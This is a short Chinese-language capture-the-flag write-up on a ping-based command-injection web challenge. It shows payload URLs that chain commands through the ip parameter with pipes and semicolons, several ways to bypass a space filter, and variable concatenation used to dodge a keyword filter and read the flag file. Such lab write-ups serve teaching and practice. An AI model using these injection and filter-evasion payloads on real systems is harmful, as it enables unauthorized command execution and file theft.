1. 了解ping
在网络中 ping 是一个十分强大的 TCP/IP 工具。它的作用主要为:
1、用来检测网络的连通情况和分析网络速度
2、根据域名得到服务器 IP
3、根据 ping 返回的 TTL 值来判断对方所使用的操作系统及数据包经过路由器数量。
我们通常会用它来直接 ping ip 地址,来测试网络的连通情况。
2. 提示输入特殊的ip进行访问
127.0.0.1:访问本地机
http://d81cabeb-a5cc-4a72-bfeb-c38b43d78838.node4.buuoj.cn:81/?ip=127.0.0.1
3. 页面成功返回,我们尝试使用管道符执行我们想要执行的命令
ls - 列出目录内容
http://d81cabeb-a5cc-4a72-bfeb-c38b43d78838.node4.buuoj.cn:81/?ip=127.0.0.1%20|%20ls
4. 怀疑是空格的原因,去掉空格,改为
?ip=127.0.0.1|ls
5.目录下存在flag.php和index.php文件
cat命令用于连接文件并打印到标准输出设备上。(获取文件)
绕过空格办法
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
?ip=127.0.0.1|cat$IFS$1index.php 成功
6.代码解读
flag连着写,就不会匹配到
可以看到有$a变量
变量拼接
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
得到flag